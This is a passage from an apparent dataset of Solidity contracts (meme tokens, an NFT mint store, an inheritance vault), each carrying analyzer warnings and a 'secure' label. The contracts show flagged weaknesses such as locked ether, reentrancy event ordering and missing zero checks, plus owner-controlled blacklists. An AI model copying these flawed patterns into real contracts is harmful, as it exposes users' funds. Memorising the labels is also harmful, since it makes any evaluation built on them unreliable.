mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c29a06): wokeAI._burnPettstoken should be constant \n\t// Recommendation for 7c29a06: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPettstoken = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a9901db): wokeAI.uniswapV2Router should be immutable \n\t// Recommendation for a9901db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"woke AI\", unicode\"WOKEAI\", TOAL_SUPPLY) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwall_address = TOAL_SUPPLY / 40;\n\n maxTxAmTaddress = TOAL_SUPPLY / 40;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPettstoken) / 100;\n\n super._transfer_etciwith(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmTaddress, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwall_address,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}", "file_name": "solidity_code_1435.sol", "secure": 0, "size_bytes": 4637 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 715acbe): Contract locking ether found Contract ETHER has payable functions ETHER.constructor(string,string) But does not have a function to withdraw the ether\n// Recommendation for 715acbe: Remove the 'payable' attribute or add a withdraw function.\ncontract ETHER is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _blacklist;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1b672b7): ETHER._taxWallet should be immutable \n\t// Recommendation for 1b672b7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 34e63e9): ETHER._initialBuyTax should be constant \n\t// Recommendation for 34e63e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18e3795): ETHER._initialSellTax should be constant \n\t// Recommendation for 18e3795: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca743e4): ETHER._finalBuyTax should be constant \n\t// Recommendation for ca743e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8465ff8): ETHER._finalSellTax should be constant \n\t// Recommendation for 8465ff8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05dceaf): ETHER._reduceBuyTaxAt should be constant \n\t// Recommendation for 05dceaf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: e2d02dd): ETHER._reduceSellTaxAt should be constant \n\t// Recommendation for e2d02dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: f3861c9): ETHER._preventSwapBefore should be constant \n\t// Recommendation for f3861c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f9bf83): ETHER._buyCount should be constant \n\t// Recommendation for 7f9bf83: Add the 'constant' attribute to state variables that never change.\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d40432): ETHER._maxTxAmount should be constant \n\t// Recommendation for 4d40432: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: b903a16): ETHER._maxWalletSize should be constant \n\t// Recommendation for b903a16: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: c5c0cb5): ETHER._taxSwapThreshold should be constant \n\t// Recommendation for c5c0cb5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a10198): ETHER._maxTaxSwap should be constant \n\t// Recommendation for 1a10198: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d1a346): ETHER.uniswapV2Router should be constant \n\t// Recommendation for 2d1a346: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (constable-states | ID: a98b3fc): ETHER.uniswapV2Pair should be constant \n\t// Recommendation for a98b3fc: Add the 'constant' attribute to state variables that never change.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b49443): ETHER.tradingOpen should be constant \n\t// Recommendation for 0b49443: Add the 'constant' attribute to state variables that never change.\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74d96d6): ETHER.swapEnabled should be constant \n\t// Recommendation for 74d96d6: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed7d2d0): ETHER.sellCount should be constant \n\t// Recommendation for ed7d2d0: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d93d8a): ETHER.lastSellBlock should be constant \n\t// Recommendation for 7d93d8a: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event AddressBlacklisted(address indexed account);\n\n event AddressUnblacklisted(address indexed account);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 715acbe): Contract locking ether found Contract ETHER has payable functions ETHER.constructor(string,string) But does not have a function to withdraw the ether\n\t// Recommendation for 715acbe: Remove the 'payable' attribute or add a withdraw function.\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _blacklist[0x5e4642254ac1356067b5B9106D1014f719aA4571] = true;\n\n _blacklist[0x614A94261eeeC908518BFa539089051fd2C49fC9] = true;\n\n _blacklist[0x35DD406b1b6648F87c9D25341E93eda8d2195712] = true;\n\n _blacklist[0x8038C3C5790ceefbab5ED4ca458b7A74360198C4] = true;\n\n _blacklist[0x4f32c8ed6EeA7E2fc1Fbe9dfb879C0c0adb37FF0] = true;\n\n _blacklist[0x91F414A03d11b92975E085c78EA9E7C98953E841] = true;\n\n _blacklist[0xd9e21fB6818bb607501EF6564681c2E5B7330Aba] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6ea400d): ETHER.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6ea400d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f6e347): ETHER._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f6e347: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function isBlacklisted(address account) public view returns (bool) {\n return _blacklist[account];\n }\n\n function addToBlacklist(address account) external onlyOwner {\n require(!_blacklist[account], \"Address is already blacklisted\");\n\n _blacklist[account] = true;\n\n emit AddressBlacklisted(account);\n }\n\n function removeFromBlacklist(address account) external onlyOwner {\n require(_blacklist[account], \"Address is not blacklisted\");\n\n _blacklist[account] = false;\n\n emit AddressUnblacklisted(account);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(\n !_blacklist[sender] && !_blacklist[recipient],\n \"Address is blacklisted\"\n );\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n}", "file_name": "solidity_code_1436.sol", "secure": 0, "size_bytes": 11432 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: e5ee555): Contract locking ether found Contract Foxe has payable functions Foxe.receive() But does not have a function to withdraw the ether\n// Recommendation for e5ee555: Remove the 'payable' attribute or add a withdraw function.\ncontract Foxe is ERC20, Ownable {\n constructor() ERC20(unicode\"Foxe\", unicode\"FOXE\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: e5ee555): Contract locking ether found Contract Foxe has payable functions Foxe.receive() But does not have a function to withdraw the ether\n\t// Recommendation for e5ee555: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1437.sol", "secure": 0, "size_bytes": 982 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IGoblinarinos {\n function gift(address[] calldata receivers) external;\n\n function owner() external view returns (address);\n\n function transferOwnership(address newOwner) external;\n}", "file_name": "solidity_code_1438.sol", "secure": 1, "size_bytes": 268 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/utils/cryptography/MerkleProof.sol\" as MerkleProof;\nimport \"./IGoblinarinos.sol\" as IGoblinarinos;\n\ncontract GobStore is Ownable, ReentrancyGuard {\n uint256 public constant MAX_PER_WALLET = 10;\n\n uint256 public constant MINT_PRICE = 0.02 ether;\n\n uint256 public constant PUBLIC_SUPPLY = 3000;\n\n uint256 public publicMintCount;\n\n address public goblinarinos;\n\n bytes32 public root;\n\n mapping(address => uint256) public minters;\n\n mapping(address => bool) public gobClaims;\n\n event Mint(address indexed to, uint256 amount);\n\n event Claim(address indexed to, uint256 amount);\n\n event GoblinarinosUpdated(address indexed newAddress);\n\n event MerkleRootUpdated(bytes32 newRoot);\n\n event FundsWithdrawn(address indexed to, uint256 amount);\n\n constructor(address _goblinarinos) {\n require(\n _goblinarinos != address(0),\n \"GobStore: INVALID_GOBLINARINOS_ADDRESS\"\n );\n\n goblinarinos = _goblinarinos;\n }\n\n function mint(uint256 amount) external payable nonReentrant {\n require(\n msg.value == amount * MINT_PRICE,\n \"GobStore: INCORRECT_ETHER_VALUE\"\n );\n\n require(\n minters[msg.sender] + amount <= MAX_PER_WALLET,\n \"GobStore: EXCEEDS_MAX_MINTS\"\n );\n\n require(\n publicMintCount + amount <= PUBLIC_SUPPLY,\n \"GobStore: EXCEEDS_PUBLIC_SUPPLY\"\n );\n\n address[] memory receivers = new address[](amount);\n\n unchecked {\n for (uint256 i = 0; i < amount; i++) {\n receivers[i] = msg.sender;\n }\n }\n\n minters[msg.sender] += amount;\n\n publicMintCount += amount;\n\n IGoblinarinos(goblinarinos).gift(receivers);\n\n emit Mint(msg.sender, amount);\n }\n\n function claim(\n uint256 amount,\n bytes32[] calldata proof\n ) external nonReentrant {\n require(amount > 0, \"GobStore: INVALID_AMOUNT\");\n\n require(\n _verify(msg.sender, amount, proof),\n \"GobStore: INVALID_MERKLE_PROOF\"\n );\n\n require(!gobClaims[msg.sender], \"GobStore: ALREADY_CLAIMED\");\n\n gobClaims[msg.sender] = true;\n\n address[] memory receivers = new address[](amount);\n\n unchecked {\n for (uint256 i = 0; i < amount; i++) {\n receivers[i] = msg.sender;\n }\n }\n\n IGoblinarinos(goblinarinos).gift(receivers);\n\n emit Claim(msg.sender, amount);\n }\n\n function _verify(\n address account,\n uint256 amount,\n bytes32[] calldata proof\n ) internal view returns (bool) {\n bytes32 leaf = _leaf(account, amount);\n\n return MerkleProof.verify(proof, root, leaf);\n }\n\n function _leaf(\n address account,\n uint256 amount\n ) internal pure returns (bytes32) {\n return keccak256(abi.encode(account, amount));\n }\n\n function setGoblinarinos(address _goblinarinos) external onlyOwner {\n require(\n _goblinarinos != address(0),\n \"GobStore: INVALID_GOBLINARINOS_ADDRESS\"\n );\n\n goblinarinos = _goblinarinos;\n\n emit GoblinarinosUpdated(_goblinarinos);\n }\n\n function setMerkleRoot(bytes32 _root) external onlyOwner {\n root = _root;\n\n emit MerkleRootUpdated(_root);\n }\n\n function returnGoblinarinosOwnership() external onlyOwner {\n require(\n IGoblinarinos(goblinarinos).owner() == address(this),\n \"GobStore: GOBLINARINOS_NOT_OWNED\"\n );\n\n IGoblinarinos(goblinarinos).transferOwnership(owner());\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4671500): Reentrancy in GobStore.withdraw() External calls (success,None) = owner().call{value balance}() Event emitted after the call(s) FundsWithdrawn(owner(),balance)\n\t// Recommendation for 4671500: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"GobStore: NO_FUNDS\");\n\n\t\t// reentrancy-events | ID: 4671500\n (bool success, ) = owner().call{value: balance}(\"\");\n\n require(success, \"GobStore: WITHDRAW_FAILED\");\n\n\t\t// reentrancy-events | ID: 4671500\n emit FundsWithdrawn(owner(), balance);\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n}", "file_name": "solidity_code_1439.sol", "secure": 0, "size_bytes": 4898 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IInheritanceFactory.sol\" as IInheritanceFactory;\n\ncontract InheritanceContract is ReentrancyGuard {\n\t// WARNING Optimization Issue (immutable-states | ID: 1c5c0c2): InheritanceContract.owner should be immutable \n\t// Recommendation for 1c5c0c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n address public immutable developer;\n\n uint256 public constant EXECUTOR_FEE_BPS = 100;\n\n uint256 public constant DEVELOPER_FEE_BPS = 10;\n\n uint256 public constant TOTAL_SHARES = 10000;\n\n uint256 public inactivityPeriod;\n\n uint256 public gracePeriod;\n\n uint256 public lastActiveTimestamp;\n\n bool public isDistributed;\n\n uint256 public totalSharesAllocated;\n\n struct Beneficiary {\n address beneficiaryAddress;\n uint256 share;\n }\n\n Beneficiary[] public beneficiaries;\n\n mapping(address => uint256) private beneficiaryIndices;\n\n address[] public depositedTokens;\n\n mapping(address => bool) private isTokenDeposited;\n\n event Heartbeat(address indexed owner, uint256 timestamp);\n\n event AssetsDeposited(\n address indexed depositor,\n uint256 amount,\n address tokenAddress\n );\n\n event InheritanceDistributed(\n address indexed initiator,\n bool isBeneficiary,\n uint256 executorFeeEther\n );\n\n event BeneficiaryAdded(address indexed beneficiary, uint256 share);\n\n event BeneficiaryRemoved(address indexed beneficiary);\n\n event AssetsWithdrawn(\n address indexed owner,\n uint256 amount,\n address tokenAddress\n );\n\n modifier onlyOwnerAndUpdateHeartbeat() {\n require(msg.sender == owner, \"Only owner can call\");\n\n lastActiveTimestamp = block.timestamp;\n\n emit Heartbeat(msg.sender, lastActiveTimestamp);\n\n _;\n }\n\n modifier updateHeartbeatIfOwner() {\n if (msg.sender == owner) {\n lastActiveTimestamp = block.timestamp;\n\n emit Heartbeat(msg.sender, lastActiveTimestamp);\n }\n\n _;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only owner can call this function!\");\n\n _;\n }\n\n modifier onlyNotDistributed() {\n require(!isDistributed, \"Assets already distributed\");\n\n _;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 081f6e5): InheritanceContract.factory should be immutable \n\t// Recommendation for 081f6e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IInheritanceFactory public factory;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b91ce19): InheritanceContract.constructor(address,address[],uint256[],uint256,uint256,address,address)._owner lacks a zerocheck on \t owner = _owner\n\t// Recommendation for b91ce19: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 995c7e7): InheritanceContract.constructor(address,address[],uint256[],uint256,uint256,address,address)._developer lacks a zerocheck on \t developer = _developer\n\t// Recommendation for 995c7e7: Check that the address is not zero.\n constructor(\n address _owner,\n address[] memory _beneficiaryAddresses,\n uint256[] memory _shares,\n uint256 _inactivityPeriod,\n uint256 _gracePeriod,\n address _developer,\n address _factoryAddress\n ) payable {\n require(\n _beneficiaryAddresses.length == _shares.length,\n \"Mismatched beneficiaries and shares\"\n );\n\n require(\n _beneficiaryAddresses.length > 0,\n \"At least one beneficiary required\"\n );\n\n require(_inactivityPeriod > 0, \"Inactivity period must be > 0\");\n\n totalSharesAllocated = 0;\n\n for (uint256 i = 0; i < _shares.length; i++) {\n uint256 share = _shares[i];\n\n address beneficiaryAddress = _beneficiaryAddresses[i];\n\n require(share > 0 && share <= TOTAL_SHARES, \"Invalid share amount\");\n\n require(\n beneficiaryAddress != address(0),\n \"Invalid beneficiary address\"\n );\n\n require(\n beneficiaryIndices[beneficiaryAddress] == 0,\n \"Beneficiary already exists\"\n );\n\n totalSharesAllocated += share;\n\n beneficiaries.push(\n Beneficiary({\n beneficiaryAddress: beneficiaryAddress,\n share: share\n })\n );\n\n beneficiaryIndices[beneficiaryAddress] = beneficiaries.length;\n\n emit BeneficiaryAdded(beneficiaryAddress, share);\n }\n\n require(\n totalSharesAllocated == TOTAL_SHARES,\n \"Total shares must equal 10000 (100%)\"\n );\n\n\t\t// missing-zero-check | ID: b91ce19\n owner = _owner;\n\n\t\t// missing-zero-check | ID: 995c7e7\n developer = _developer;\n\n inactivityPeriod = _inactivityPeriod;\n\n gracePeriod = _gracePeriod;\n\n lastActiveTimestamp = block.timestamp;\n\n factory = IInheritanceFactory(_factoryAddress);\n\n if (msg.value > 0) {\n uint256 developerFee = (msg.value * DEVELOPER_FEE_BPS) /\n TOTAL_SHARES;\n\n payable(developer).transfer(developerFee);\n\n emit AssetsDeposited(msg.sender, msg.value, address(0));\n }\n }\n\n function heartbeat() external onlyOwner onlyNotDistributed {\n lastActiveTimestamp = block.timestamp;\n\n emit Heartbeat(msg.sender, lastActiveTimestamp);\n }\n\n function depositEther()\n external\n payable\n onlyNotDistributed\n updateHeartbeatIfOwner\n {\n require(msg.value > 0, \"Must send Ether\");\n\n uint256 developerFee = (msg.value * DEVELOPER_FEE_BPS) / TOTAL_SHARES;\n\n payable(developer).transfer(developerFee);\n\n emit AssetsDeposited(msg.sender, msg.value, address(0));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f9b50bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f9b50bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 08f8e21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 08f8e21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function depositERC20(\n IERC20 token,\n uint256 amount\n ) external onlyNotDistributed updateHeartbeatIfOwner {\n require(amount > 0, \"Amount must be > 0\");\n\n address tokenAddress = address(token);\n\n\t\t// reentrancy-events | ID: f9b50bb\n\t\t// reentrancy-benign | ID: 08f8e21\n require(\n token.transferFrom(msg.sender, address(this), amount),\n \"Token transfer failed\"\n );\n\n uint256 developerFee = (amount * DEVELOPER_FEE_BPS) / TOTAL_SHARES;\n\n\t\t// reentrancy-events | ID: f9b50bb\n\t\t// reentrancy-benign | ID: 08f8e21\n require(\n token.transfer(developer, developerFee),\n \"Developer fee transfer failed\"\n );\n\n\t\t// reentrancy-events | ID: f9b50bb\n emit AssetsDeposited(msg.sender, amount, tokenAddress);\n\n if (!isTokenDeposited[tokenAddress]) {\n\t\t\t// reentrancy-benign | ID: 08f8e21\n isTokenDeposited[tokenAddress] = true;\n\n\t\t\t// reentrancy-benign | ID: 08f8e21\n depositedTokens.push(tokenAddress);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 00e4c82): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 00e4c82: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7261b96): InheritanceContract.distributeInheritance() has external calls inside a loop require(bool,string)(token.transfer(beneficiary_scope_1.beneficiaryAddress,amount_scope_2),Token transfer failed)\n\t// Recommendation for 7261b96: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: fd4e3b6): InheritanceContract.distributeInheritance() has external calls inside a loop address(beneficiary.beneficiaryAddress).transfer(amount)\n\t// Recommendation for fd4e3b6: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 9c9fe38): InheritanceContract.distributeInheritance() has external calls inside a loop totalTokenBalance = token.balanceOf(address(this))\n\t// Recommendation for 9c9fe38: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: d0401d4): InheritanceContract.distributeInheritance() has external calls inside a loop require(bool,string)(token.transfer(msg.sender,executorFeeToken),Executor fee token transfer failed)\n\t// Recommendation for d0401d4: Favor pull over push strategy for external calls.\n function distributeInheritance() external nonReentrant onlyNotDistributed {\n\t\t// timestamp | ID: 00e4c82\n require(\n block.timestamp >= lastActiveTimestamp + inactivityPeriod,\n \"Inactivity period not passed\"\n );\n\n bool callerIsBeneficiary = isBeneficiary(msg.sender);\n\n uint256 executorFeeEther = 0;\n\n isDistributed = true;\n\n if (callerIsBeneficiary) {} else {\n\t\t\t// timestamp | ID: 00e4c82\n require(\n block.timestamp >=\n lastActiveTimestamp + inactivityPeriod + gracePeriod,\n \"Grace period not passed\"\n );\n\n executorFeeEther =\n (address(this).balance * EXECUTOR_FEE_BPS) /\n TOTAL_SHARES;\n\n if (executorFeeEther > 0) {\n payable(msg.sender).transfer(executorFeeEther);\n }\n }\n\n uint256 totalEther = address(this).balance;\n\n if (totalEther > 0) {\n uint256 etherToDistribute = totalEther - executorFeeEther;\n\n\t\t\t// cache-array-length | ID: 9a4ebdc\n for (uint256 i = 0; i < beneficiaries.length; i++) {\n Beneficiary memory beneficiary = beneficiaries[i];\n\n uint256 amount = (etherToDistribute * beneficiary.share) /\n TOTAL_SHARES;\n\n if (amount > 0) {\n\t\t\t\t\t// calls-loop | ID: fd4e3b6\n payable(beneficiary.beneficiaryAddress).transfer(amount);\n }\n }\n }\n\n for (uint256 i = 0; i < depositedTokens.length; i++) {\n address tokenAddress = depositedTokens[i];\n\n IERC20 token = IERC20(tokenAddress);\n\n\t\t\t// calls-loop | ID: 9c9fe38\n uint256 totalTokenBalance = token.balanceOf(address(this));\n\n uint256 executorFeeToken = 0;\n\n if (totalTokenBalance > 0) {\n if (!callerIsBeneficiary) {\n executorFeeToken =\n (totalTokenBalance * EXECUTOR_FEE_BPS) /\n TOTAL_SHARES;\n\n\t\t\t\t\t// calls-loop | ID: d0401d4\n require(\n token.transfer(msg.sender, executorFeeToken),\n \"Executor fee token transfer failed\"\n );\n }\n\n uint256 tokensToDistribute = totalTokenBalance -\n executorFeeToken;\n\n for (uint256 j = 0; j < beneficiaries.length; j++) {\n Beneficiary memory beneficiary = beneficiaries[j];\n\n uint256 amount = (tokensToDistribute * beneficiary.share) /\n TOTAL_SHARES;\n\n if (amount > 0) {\n\t\t\t\t\t\t// calls-loop | ID: 7261b96\n require(\n token.transfer(\n beneficiary.beneficiaryAddress,\n amount\n ),\n \"Token transfer failed\"\n );\n }\n }\n }\n }\n\n emit InheritanceDistributed(\n msg.sender,\n callerIsBeneficiary,\n executorFeeEther\n );\n }\n\n function withdrawEther(\n uint256 amount\n ) external onlyOwnerAndUpdateHeartbeat onlyNotDistributed nonReentrant {\n require(amount > 0, \"Amount must be > 0\");\n\n require(address(this).balance >= amount, \"Insufficient balance\");\n\n payable(owner).transfer(amount);\n\n emit AssetsWithdrawn(owner, amount, address(0));\n }\n\n function withdrawERC20(\n IERC20 token,\n uint256 amount\n ) external onlyOwnerAndUpdateHeartbeat onlyNotDistributed nonReentrant {\n require(amount > 0, \"Amount must be > 0\");\n\n require(\n token.balanceOf(address(this)) >= amount,\n \"Insufficient token balance\"\n );\n\n require(token.transfer(owner, amount), \"Token transfer failed\");\n\n emit AssetsWithdrawn(owner, amount, address(token));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e00f66c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e00f66c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function addBeneficiary(\n address _beneficiaryAddress,\n uint256 _share\n ) external onlyOwnerAndUpdateHeartbeat onlyNotDistributed {\n require(_beneficiaryAddress != address(0), \"Invalid address\");\n\n require(_share > 0 && _share <= TOTAL_SHARES, \"Invalid share amount\");\n\n require(!isBeneficiary(_beneficiaryAddress), \"Beneficiary exists\");\n\n uint256 remainingShares = TOTAL_SHARES - _share;\n\n if (totalSharesAllocated > 0) {\n\t\t\t// cache-array-length | ID: 06e1e31\n for (uint256 i = 0; i < beneficiaries.length; i++) {\n Beneficiary storage beneficiary = beneficiaries[i];\n\n beneficiary.share =\n (beneficiary.share * remainingShares) /\n totalSharesAllocated;\n }\n }\n\n beneficiaries.push(\n Beneficiary({\n beneficiaryAddress: _beneficiaryAddress,\n share: _share\n })\n );\n\n 